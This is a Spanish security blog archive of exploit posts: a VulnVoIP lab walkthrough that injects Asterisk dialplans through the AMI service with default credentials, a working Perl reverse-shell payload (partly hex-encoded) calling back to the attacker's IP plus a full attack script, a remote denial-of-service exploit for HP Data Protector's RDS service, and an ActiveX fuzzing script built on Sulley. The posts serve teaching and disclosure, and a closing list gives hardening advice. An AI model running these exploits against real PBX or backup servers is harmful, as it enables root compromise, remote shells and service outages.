Archivo de la etiqueta: Exploits

Jugando con VulnVoIP

El otro día impartí una clase en el Curso de Seguridad Informática y Ciberdefensa de Criptored (http://www.criptored.upm.es/formacion/ciberdefensa/TemarioCursoCiberdefensa3.pdf) por tercer año consecutivo y, esta vez, por hacer la clase un poco más amena, decidí realizar una demo sobre un ataque a un máquina vulnerable. Escogí para ello Vulnvoip que podéis descargar aquí: http://www.rebootuser.com/?page_id=1739 y donde podéis seguir una guía de cómo explotarla aquí: http://www.rebootuser.com/?p=1117

Concretamente la máquina es una FreePBX con una versión de Asterisk bastante antigua y con más agujeros que un queso gruyer. Si echáis un ojo al ‘solucionario’ de rebootuser podéis ver cómo usando SipVicious es muy sencillo enumerar las extensiones e incluso crackear las cuentas. Además, vemos que tiene el servicio AMI o Manager abierto y con las contraseñas por defecto, e incluso con permisos para ejecutar comandos de Asterisk remotamente. Pero lo que ya no me gustó mucho es la forma de obtener acceso al sistema según el solucionario, pues se basa en un bug que posee esa versión concreta de FreePBX y es muy probable que en otras versiones ya no tengamos tanta suerte. Sin embargo, algo que parece que se ha pasado por alto es la posibilidad de acceder al sistema mediante la inyección y ejecución de un plan de llamadas o dialplan y realizando una simple llamada telefónica para ejecutarlo. Algo muy similar a lo que comenté en mi charla de la Rooted del 2013 (https://www.youtube.com/watch?v=0bM0pe8C55Q) pero en lugar de realizar la inyección desde la web, la podemos realizar usando el AMI, o servicio Manager, también conocido como servicio Click2Call.

Revisando un poco la forma de explotar el servicio Manager vemos que, con un telnet al puerto 5038 de la máquina:

Servicio AMI

 

Como se puede apreciar, el usuario y contraseña son los que vienen por defecto en una FreePBX y además tenemos permiso para ejecutar comandos. Tal y como se muestra en la web de Rebootuser, podemos usar el comando ‘sip show users’ para ver el listado de usuarios con sus contraseñas, previa autenticación.

Como venía diciendo, podemos, mediante comandos de consola de Asterisk, ejecutar comandos System que nos permitan interactuar con el Sistema Operativo. Veamos un ejemplo sencillo:

Captura de pantalla 2014-10-29 a las 19.23.58

Lo que hemos hecho es crear un plan de llamadas para la extensión 999, que no existe en el sistema,y que al ejecutarse escriba un fichero en disco, en una parte accesible desde la web.

Si echamos un vistazo al plan de llamadas vemos que se ha creado correctamente:

 

 

 

Captura de pantalla 2014-10-29 a las 19.24.28

Una vez creado el plan de llamadas, lo que hacemos es ejecutarlo mediante una llamada telefónica a esa extensión, y usando por ejemplo el softphone Zoiper:

 

 

Captura de pantalla 2014-10-29 a las 19.24.41

Tras la llamada, si accedemos vía web, veremos que el fichero se ha creado en el sistema:

Captura de pantalla 2014-10-29 a las 19.25.11

 

Al igual que hice en la charla de la Rooted, vamos a intentar crear un fichero que contenga una shell remota, de forma que tras la llamada, tengamos esa shell grabada en algún lugar del disco. Luego crearemos un segundo plan de llamadas que invoque a esa shell y nos abra una conexión remota contra nuestra máquina. Inyectaremos algo así:

dialplan add extension EXT,1,answer, into ext-local
dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
dialplan add extension EXT,9,hangup, into ext-local

Tras la inyección, una llamada al 999 y tendremos el fichero almacenado en /tmp/s.pl

Luego creamos el segundo plan de llamadas:

dialplan add extension 999,1,answer, into ext-local
dialplan add extension 999,2,system,"perl /tmp/s.pl" into ext-local
dialplan add extension 999,3,hangup, into ext-local

Y antes de la segunda llamada, dejaremos en nuestra máquina un netcat a la escucha:


$ netcat -l -p 31337

Como es un poco engorroso ir creando línea a línea con un telnet al puerto del AMI, qué mejor que programar un pequeño script que nos facilite la tarea:

#!/usr/bin/perl -w
# -=-=-=-=-=-=-=-=-
# Asterisk AMI v1.0
# -=-=-=-=-=-=-=-=-
#
# Pepelux <pepelux[at]gmail[dot]com>
use warnings;
use strict;
use Getopt::Long;
use Asterisk::AMI;
use Data::Dumper;
my $host = ''; # host
my $port = ''; # port
my $user = ''; # user
my $pass = ''; # pass
my $cmd = '';  # command
my $cs = 0;    # create shell
my $es = 0;    # execute shell
my $ip = ''; # my local IP
my $rport = ''; # my local port for netcat
my $exten = '999';
#my $context = 'internal';
my $context = 'pbx14';
sub init() {
if ($^O =~ /Win/) {system("cls");}else{system("clear");}
# check params
my $result = GetOptions ("h=s" => \$host,
                        "u=s" => \$user,
                        "s=s" => \$pass,
                        "c=s" => \$cmd,
                        "cs+" => \$cs,
                        "es+" => \$es,
                        "ip=s" => \$ip,
                        "rp=s" => \$rport,
                        "p=s" => \$port);
 help() if ($host eq "" || $user eq "" || $pass eq "");
 help() if ($cmd eq "" && $cs eq 0 && $es eq 0);
 help() if ($cs eq 1 && $ip eq "");
 $port = "5038" if ($port eq "");
 $rport = "31337" if ($rport eq "");
 ami_call();
exit;
 ami_cmd($cmd) if ($cmd ne "");
 ami_cs($ip, $rport) if ($cs eq 1);
 ami_es() if ($es eq 1);
exit;
}
sub ami_call {
# my $src = shift;
# my $dst = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $action = $astman->send_action ({ Action => 'originate',
# Channel => 'LOCAL/204@'.$context,
 Channel => 'LOCAL/204@'.$context,
 Priority => '1',
 WaitTime => '15',
 Exten => '675558423',
 Callerid => 'pepe',
 Context => $context
 });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_cmd {
my $cmd = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $action = $astman->send_action ({ Action => 'command',
 Command => $cmd
 });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_es {
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
my $cmd = "dialplan reload";
my $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $cmd1 = "dialplan add extension $exten,1,answer, into $context";
my $cmd2 = "dialplan add extension $exten,2,system,\"perl /tmp/s.pl\" into $context";
my $cmd3 = "dialplan add extension $exten,3,hangup, into $context";
 $astman->send_action ({ Action => 'Command', Command => $cmd1 });
 $astman->send_action ({ Action => 'Command', Command => $cmd2 });
 $astman->send_action ({ Action => 'Command', Command => $cmd3 });
 $cmd = "dialplan show ".$exten."@".$context;
 $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub ami_cs {
my $ip = shift;
my $rport = shift;
my $astman = Asterisk::AMI->new(PeerAddr => $host,
PeerPort => $port,
 Username => $user,
Secret => $pass
 );
die "Unable to connect to asterisk" unless ($astman);
# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local
my $cmd = "dialplan reload";
my $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
# my $echo = "echo -e";
my $echo = "echo";
my $cmd1 = "dialplan add extension $exten,1,answer, into $context";
my $cmd2 = "dialplan add extension $exten,2,system,\"$echo '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into $context";
my $cmd3 = "dialplan add extension $exten,3,system,\"$echo '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd4 = "dialplan add extension $exten,4,system,\"$echo '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$rport\\\\x2c' >> /tmp/s.pl\" into $context";
my $cmd5 = "dialplan add extension $exten,5,system,\"$echo '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd6 = "dialplan add extension $exten,6,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd7 = "dialplan add extension $exten,7,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd8 = "dialplan add extension $exten,8,system,\"$echo '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd9 = "dialplan add extension $exten,9,system,\"$echo '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into $context";
my $cmd10 = "dialplan add extension $exten,10,hangup, into $context";
 $astman->send_action ({ Action => 'Command', Command => $cmd1 });
 $astman->send_action ({ Action => 'Command', Command => $cmd2 });
 $astman->send_action ({ Action => 'Command', Command => $cmd3 });
 $astman->send_action ({ Action => 'Command', Command => $cmd4 });
 $astman->send_action ({ Action => 'Command', Command => $cmd5 });
 $astman->send_action ({ Action => 'Command', Command => $cmd6 });
 $astman->send_action ({ Action => 'Command', Command => $cmd7 });
 $astman->send_action ({ Action => 'Command', Command => $cmd8 });
 $astman->send_action ({ Action => 'Command', Command => $cmd9 });
 $astman->send_action ({ Action => 'Command', Command => $cmd10 });
 $cmd = "dialplan show ".$exten."@".$context;
 $action = $astman->send_action ({ Action => 'Command', Command => $cmd });
my $response = $astman->get_response($action);
print Dumper($response->{'CMD'})."\n";
# print Dumper($response);
}
sub help {
print qq{
Usage: $0 -h <host> -u <user> -s <secret> [-c <command>|-cs -ip <ip>|-es]
== Options ==
-c <string>= Command to execute (ex: 'core show version')
-ip       = IP address to create dialplan for remote shell
-cs       = Create dialplan to write on disk a remote shell
-es       = Create dialplan to execute a remote shell
== Examples ==
\$$0 -h 192.168.0.1 -u admin -p supersecret -c 'sip show peers'
\$$0 -h 192.168.0.1 -u admin -p supersecret -cs -i 192.168.0.10
\$$0 -h 192.168.0.1 -u admin -p supersecret -es
};
exit 1;
}
init();

Y veámoslo en funcionamiento:

Captura de pantalla 2014-10-29 a las 19.40.48

Lanzamos un comando de prueba, por ejemplo, el mismo que antes para ver los usuarios registrados en el Asterisk:

Captura de pantalla 2014-10-29 a las 19.41.28

Creamos el primer plan de llamadas para grabar el script en disco:

Captura de pantalla 2014-10-29 a las 19.42.10

Tras crearlo, realizamos una llamada y quedará almacenado en /tmp/s.pl

Luego creamos el segundo plan de llamadas para ejecutar el script:

Captura de pantalla 2014-10-29 a las 19.42.38

Ponemos el netcat a la escucha y realizamos la segunda llamada:

 

Captura de pantalla 2014-10-29 a las 19.43.09

 

Como podemos ver, no sólo hemos accedido al sistema, sino que además el servicio está ejecutándose como root, así que tenemos el control total de la máquina.

Conclusiones:

  • Nunca ejecutar un Asterisk como root
  • Si necesitamos el AMI, permitir únicamente los servicios necesarios y no la ejecución de comandos del sistema. Y sobre todo, filtrar las IPs que tienen acceso
  • No dejar una PBX accesible desde Internet, nunca
  • Mantener los sistemas siempre actualizados

Saludos

HP Data Protector Manager v6.11 (DoS en el servicio RDS)

Continuamos con la saga de servicios de HP Data Protector Manager v6.11, en el que ya subí a mi web dos denegaciones de servicios en OmniInet y MMD (que por cierto, está la misma vulnerabilidad también en el servicio KMS, que usa la mismoa DLL) …  y todas ellas debido a un fallo en la DLL MSVCR71.dll que provocaba un NULL Pointer Dereference.

Esta vez se trata del servicio RDS y la DLL afectada es otra diferente, así como la causa de la denegación de servicio.

Antes de nada, decir que cuando estuve mirando este programa de HP, hace unos meses, mi amigo Roi Mallo lo hizo también, y cada uno miramos servicios diferentes. El DoS en el RDS lo descubrió él en su día, pero no lo llegó a publicar ya que tuvo un desafortunado incidente con su disco duro 🙂

Como me puse el otro día de nuevo a revisar este software, me comentó su hallazgo así que me he limitado a verificarlo.

Ya que no dispongo de un cliente para ese servicio, tras hacer un poco de reversing y un simple breakpoint en recv he podido ver que los datos esperados son:

1 Dword // siempre B6298C23 (\x23\x8c\x29\xb6)

1 Dword // que indica el tamaño de los datos

Datos

Y lo que hace, básicamente es:

  • La DLL _ncp32.dll es la responsable de realizar el RECV en espera de los datos del cliente.
  • Analiza la cabecera y, si es correcta, llama a _rm32.dll pasando el tamaño.
  • _rm32.dll realiza un MALLOC para reservar memoria para el paquete y devuelve la dirección donde deben guardarse los datos.
  • Si el tamaño es muy grande, MALLOC devuelve 0 y se realiza un EXIT controlado, con lo que el servicio queda parado.
// _ncp32.dll
00482F92   68 7DFAF908      PUSH 8F9FA7D
00482F97   6A 00                PUSH 0
00482F99   6A 01                PUSH 1
00482F9B   6A 00                PUSH 0
00482F9D   8B55 F8              MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h)
00482FA0   52                       PUSH EDX
00482FA1   E8 9C2D0000    CALL <JMP.&_rm32.#20_rm_getMem>

// _rm32.dll
0038C49B   8B45 08              MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h)
0038C49E   83C0 08              ADD EAX,8
0038C4A1   50                   PUSH EAX
0038C4A2   FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]    ; MSVCR71.malloc  -> Returns 0 because no space available
......
0038C5F9   50                       PUSH EAX
0038C5FA   68 2C0C3A00      PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s"
.....
0038C64E   E8 8D220000      CALL _rm32.rm_errorExit

Y el exploit:

#!/usr/bin/perl

# ===============================
# HP Data Protector Manager v6.11
# ===============================
#
# Bug: Remote Denial of Service Vulnerabilities (RDS Service)
#
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html
# Date: 08/01/2011
# Authors: Roi Mallo - rmallof[AT]gmail[DOT]com
#                   http://elotrolad0.blogspot.com/ - http://twitter.com/rmallof
#              Pepelux - pepelux[AT]enye-sec[DOT]com
#                   http://www.enye-sec.org - http://www.pepelux.org - http://twitter.com/pepeluxx
#
# Vulnerable file: Program Files\OmniBack\rds.exe
#
# Tested on Windows XP SP2 && Windows XP SP3
#
#
# POC:
# _ncp32.dll is the responsable of waiting the packet (RECV)
# when a packet is received, it uses _rm32.dll to allocating memory,
# as the size is too big, malloc can't allocate this size and the program exit.
#
# _ncp32.dll
# 00482F92   68 7DFAF908      PUSH 8F9FA7D
# 00482F97   6A 00                PUSH 0
# 00482F99   6A 01                PUSH 1
# 00482F9B   6A 00                PUSH 0
# 00482F9D   8B55 F8              MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h)
# 00482FA0   52                       PUSH EDX
# 00482FA1   E8 9C2D0000    CALL <JMP.&_rm32.#20_rm_getMem>
#
#
# _rm32.dll
# 0038C49B   8B45 08              MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h)
# 0038C49E   83C0 08              ADD EAX,8
# 0038C4A1   50                   PUSH EAX
# 0038C4A2   FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]    ; MSVCR71.malloc  --> Returns 0 because no space available
# ......
# 0038C5F9   50                       PUSH EAX
# 0038C5FA   68 2C0C3A00      PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s"
#......
# 0038C64E   E8 8D220000      CALL _rm32.rm_errorExit

use IO::Socket;

my ($server, $port) = @ARGV ;

unless($ARGV[0] || $ARGV[1]) {
 print "Usage: perl $0 <host> [port]\n";
 print "\tdefault port = 1530\n\n";
 exit 1;
}

$port = 1530 if !($ARGV[1]);

if ($^O =~ /Win/) {system("cls");}else{system("clear");}

my $buf = "\x23\x8c\x29\xb6";     # header (always the same)
$buf .= "\x64\x00\x00\x00";         # data packet size (too big)
$buf .= "\x41"x4;                        # data

print "[+] Connecting to $server:$port ...\n";

my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");

print "[+] Sending malicious packet ...\n";
print $sock1 "$buf";
print "\n[x] Server crashed!\n";
exit;

Podéis bajar el exploit aquí: http://pepelux.org/exploits/hpdataprotector_rds.pl

Fuzzeando con Sulley algunos activex

En el anterior post puse un código en python para fuzzear activex con Sulley. Bien, pues como comenté, el código estaba casi sin probar y necesitaba algunos retoques. He cambiado algunas cosas y he probado un par de exploits que aparece en exploit-db y los resultados han sido muy buenos.

Vamos a ver algunas capturas:

Ecava IntegraXor Remote ActiveX Buffer Overflow PoC (http://www.exploit-db.com/exploits/15767/)

WMITools ActiveX Remote Command Execution Exploit 0day (http://www.exploit-db.com/exploits/15809/)

¡¡¡ Felices Fiestas a todos !!!

Fuzzeando activex con Sulley

Hace poco escribí acerca de como hacer un script para fuzzear aplicaciones locales con Sulley. Aprovechando esta base, he creado, junto con mi amigo Roi, otro script orientado a fuzzear activex. Está sin probar bien por lo que posiblemente requiera de algunos retoques, pero puede servir como base.

Las diferentes opciones son:

  • -l -> lista todos los activex instalados en Windows.
  • -n -> tiene en cuenta los que hay en exclude.txt y muestra los que no están ahí. Esta opción es bueno para tener ahí metidos todos los que aparezcan en tu máquina virtual y luego, localizar rápidamente los que instales.
  • -s NAME -> busca por aproximación el nombre de un componente.
  • -d ID -> igual que antes pero con el CSLID, es decir, busca por aproximación el ID del activex.
  • -m FILE -> aquí pasamos la ruta del activex y nos mostrará todos los métodos y parámetros que acepta.
  • -f FILE -> de forma similar al comando anterior, abre el activex e intenta fuzzear cada parámetro, con ayuda del potencial de Sulley.

El funcionamiento para fuzzear sería:

  1. Abre el activex.
  2. Enumera cada clase.
  3. Dentro de cada clase coge todos los métodos.
  4. Por cada método mira el número de parámetros que tiene y realiza todas las combinaciones de mutación.
  5. Luego continúa con el siguiente parámetro.
  6. Luego el siguiente método.
  7. Y el mismo proceso con la siguiente clase.

Por cada prueba se genera un fichero diferente. Y cuando lleva 100 ficheros generados, lanza el Internet Explorer para comenzar las pruebas.

Los ficheros generados son del tipo:

// file: c:/sulley/test0.html

<META HTTP-EQUIV='Refresh' CONTENT='3; URL=file:///c:/sulley/test1.html'>
<html>
<body>
<object classid='clsid:GUID id='target' />
<script language='vbscript'>
target "XXXXXXX"
</script>
</body>
</html>

De manera que tras lanzar el primer test, se va recargando el sólo con el siguiente y así evitamos tener que abrir y cerrar el Internet Explorer en cada prueba. Por defecto he puesto 3 segundos pero se puede cambiar en el script.

El fichero de sesiones sería el siguiente:

# script to fuzz ActiveX
#
# by:
# Pepelux <pepeluxx@gmail.com> - http://www.pepelux.org/ && http://www.enye-sec.org/

import win32api,win32con,pythoncom,sys,os,win32com.client
from win32com.axscript import axscript
import optparse
from sulley import *
from requests import activex_generic    # library to fuzz
from pydbg import *
from pydbg.defines import *
import os
import threading
import sys
from time import sleep

tmpfolder=r"c:\sulley\tmp"
iexplorepath=r"c:\Archivos de programa\Internet Explorer\iexplore.exe"
refreshTime=3

################################
### ACCESS VIOLATION HANDLE ####
################################

def av_handler(dbg):
 print "[x] Access Violation Handler"

 print dbg.dump_context()

 try:
 mod = dbg.addr_to_dll(dbg.context.Eip)
 print 'Eip module path : ', mod.path
 print 'Eip module base : 0x%08x'%mod.base
 print 'Eip offset : 0x%08x '%(dbg.context.Eip - mod.base)
 except:
 print 'Unable resolve Eip module'

 global stop
 stop=1

 dbg.stack_unwind()

 for i in dbg.disasm_around(dbg.context.Eip, 12):
 print "%x %s"%i

 dbg.terminate_process()

 return DBG_CONTINUE

##################################
### START PROCESS USING PYDBG ####
##################################

class start_proc (threading.Thread):
 def __init__(self, t_proc_name, t_name):
 threading.Thread.__init__(self)
 self.t_proc_name = t_proc_name
 self.t_name = t_name

 def run(self):
 dbg = pydbg()
 dbg.load(self.t_proc_name, self.t_name)
 dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, av_handler)
 dbg.run()

#############################################
### GET COMPONENTS FROM WINDOWS REGISTRY ####
#############################################

def getCLSID( type, name ):
 index=0
 count=0
 clsid_list=[]

 #getting registry keys
 try:
 cKey=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes")
 except win32api.error:
 print"[x] Error opening registry keys."
 sys.exit(0)

 #getting subkeys
 while True:
 try:
 sKey=win32api.RegEnumKey(cKey,index)
 except win32api.error:
 break
 progid=sKey

 #getting CLSID registry keys
 try:
 sKey=win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\%s\\CLSID" % progid)
 except win32api.error:
 index+=1
 continue

 #getting CLSID values
 try:
 clsid=win32api.RegQueryValueEx(sKey,None)[0]
 except win32api.error:
 print"[x] Error getting CLSID value."
 index+=1
 continue

 clsid_list.append((progid,clsid))
 index+=1

 if name == "new":
 wlist=[]

 try:
 file = open("exclude.txt")

 while 1:
 line=file.readline()
 wlist.append(line)

 if not line:
 break
 pass

 file.close()
 except:
 print "[x] File 'exclude.txt' not found"
 sys.exit(0)

 lastComName=""
 lastComNameIni=""
 lastComId=""

 for clsid in clsid_list:
 comName=clsid[0]
 comNameIni=clsid[0][0:clsid[0].find(".")]
 comId=clsid[1]
 show=1

 if name == "new":
 for value in wlist:
 if comNameIni.replace("\n","") == value.replace("\n",""):
 show=0

 if show == 1:
 if comName != lastComName and comId != lastComId:
 if lastComNameIni != comNameIni:
 print "\n"

 try:
 if type == "name":
 if name == "all" or name == "new" or comName.lower() == name.lower() or comName.lower().index(name.lower())>-1:
 print"[+] "+comName + " - " + comId
 else:
 if name == "all" or name == "new" or comId.lower() == name.lower() or comId.lower().index(name.lower())>-1:
 print"[+] "+comName + " - " + comId

 count+=1
 except:
 continue

 lastComName=comName
 lastComNameIni=comNameIni
 lastComId=comId

 if count == 0:
 print "[x] No entries found\n"

 sys.exit(0)

####################################
### GET METHODS FROM A DLL FILE ####
####################################

def getTypes( activex ):
 VTS={}

 try:
 tlb=pythoncom.LoadTypeLib(activex)
 except:
 print"[x] Error loading library."
 sys.exit(0)

 name=tlb.GetDocumentation(-1)[0]
 print "[+] Name: "+name

 clsid=str(tlb.GetLibAttr()[0])
 print "[+] CLSID: "+clsid+"\n"

 for vt in [x for x in pythoncom.__dict__.keys() if x.count("VT_")]:
 VTS[eval("pythoncom.%s" % vt)]=vt

 for i in xrange(tlb.GetTypeInfoCount()):
 name=tlb.GetDocumentation(i)[0]
 print "  [-] Interface: "+name
 info=tlb.GetTypeInfo(i)
 attr=info.GetTypeAttr()
 print "  [-] GUID: "+str(attr.iid)

 print"     [%d] Properties:" % i

 try:
 for j in xrange(attr.cVars):
 id=info.GetVArDesc(j)[0]
 names=info.GetNames(id)
 print"[%d/%d]\t%s" % (i,j,names[0])
 except:
 continue

 lastMethodName=""

 print"\t+ Methods:"

 for k in xrange(attr.cFuncs):
 desc=info.GetFuncDesc(k)

 if desc.wFuncFlags:
 continue

 id=desc.memid
 names=info.GetNames(id)
 methodName = names[0]

 if methodName != lastMethodName:
 print"\t\t%s" % (methodName)
 k=0

 lastMethodName=methodName

 try:
 for name in names[1:]:
 print"\t\t\t%s,%s" % (name, VTS[desc.args[k][0]])
 k+=1
 except:
 continue

 print"\n"
 sys.exit(0)

###########################
### FUZZING A DLL FILE ####
###########################

def startFuzz( activex ):
 VTS={}

 try:
 tlb=pythoncom.LoadTypeLib(activex)
 except:
 print"[x] Error loading library."
 sys.exit(0)

 if not os.path.isdir(tmpfolder):
 os.mkdir(tmpfolder)

 for file in os.listdir(tmpfolder):
 file_path = os.path.join(tmpfolder, file)

 try:
 if os.path.isfile(file_path):
 os.unlink(file_path)
 except:
 break

 name=tlb.GetDocumentation(-1)[0]
 clsid=str(tlb.GetLibAttr()[0])
 counter=0

 for vt in [x for x in pythoncom.__dict__.keys() if x.count("VT_")]:
 VTS[eval("pythoncom.%s" % vt)]=vt

 print "[+] Total classes for fuzzing: " + str(tlb.GetTypeInfoCount()) + "\n"

 for i in xrange(tlb.GetTypeInfoCount()):
 name=tlb.GetDocumentation(i)[0]
 info=tlb.GetTypeInfo(i)
 attr=info.GetTypeAttr()
 guid=str(attr.iid).replace("{","").replace("}","")
 ac_class=name

 lastMethodName=""

 for k in xrange(attr.cFuncs):
 desc=info.GetFuncDesc(k)

 if desc.wFuncFlags:
 continue

 id=desc.memid
 names=info.GetNames(id)
 methodName = names[0]

 if methodName != lastMethodName:
 print "\n-> " + ac_class + "->" + methodName + " {" + guid + "}"
 k=0

 lastMethodName=methodName

 try:
 for name in names[1:]:
 k+=1
 except:
 continue

 # ----- Start Fuzz -----
 for j in range (0, k):
 type="string"

 try:
 if VTS[desc.args[j][0]] == "VT_BSTR" or VTS[desc.args[j][0]] == "VT_VARIANT" or VTS[desc.args[j][0]] == "VT_ARRAY":
 print "  [-] Creating fuzzing cases for arg " + str(j+1) + " of " + str(k) + " (hex)"
 type="hex"
 else:
 if VTS[desc.args[j][0]] == "VT_BSTR" or VTS[desc.args[j][0]] == "VT_BOOL" or VTS[desc.args[j][0]] == "VT_VARIANT" or VTS[desc.args[j][0]] == "VT_UII" \
 or VTS[desc.args[j][0]] == "VT_I2" or VTS[desc.args[j][0]] == "VT_I4" or VTS[desc.args[j][0]] == "VT_EMPTY" or VTS[desc.args[j][0]] == "VT_NULL" \
 or VTS[desc.args[j][0]] == "VT_CY" or VTS[desc.args[j][0]] == "VT_DECIMAL" or VTS[desc.args[j][0]] == "VT_R4" or VTS[desc.args[j][0]] == "VT_R8":
 print "  [-] Creating fuzzing cases for arg " + str(j+1) + " of " + str(k) + " (integer)"
 type="integer"
 else:
 print "  [-] Creating fuzzing cases for arg " + str(j+1) + " of " + str(k) + " (string)"
 type="string"
 req=s_get("string") # session
 except:
 print "  [-] Creating fuzzing cases for arg " + str(j+1) + " of " + str(k) + " (string)"
 type="string"

 req=s_get(type) # session
 req.reset()

 for i in range(req.names["ini"].num_mutations()):
 data=[]
 data.append("<META HTTP-EQUIV='Refresh' CONTENT='"+str(refreshTime)+"; URL=file:///"+tmpfolder.replace("\\", "/")+"/test"+str(counter+1)+".html'>\n")
 data.append("<html>\n<body>\n")
 data.append("<object classid='clsid:"+guid+"' id='target' />\n")
 data.append("<script language='vbscript'>\n")

 targetStr = "target." + methodName + " "

 for l in range (0, k):
 if j == l:
 if type == "string":
 targetStr += "\""

 try:
 targetStr += s_render()
 except:
 targetStr += s_render().encode("hex")

 if type == "string":
 targetStr += "\""
 else:
 if type == "string":
 targetStr += "\"XX\""
 else:
 targetStr += "00"

 if l<k-1:
 targetStr += ", "

 targetStr += "\n"

 data.append(targetStr)

 data.append("</script></body>\n</html>\n")

 file = open(tmpfolder+"\\test"+str(counter)+".html","w")
 file.writelines(data)
 file.close()
 counter+=1

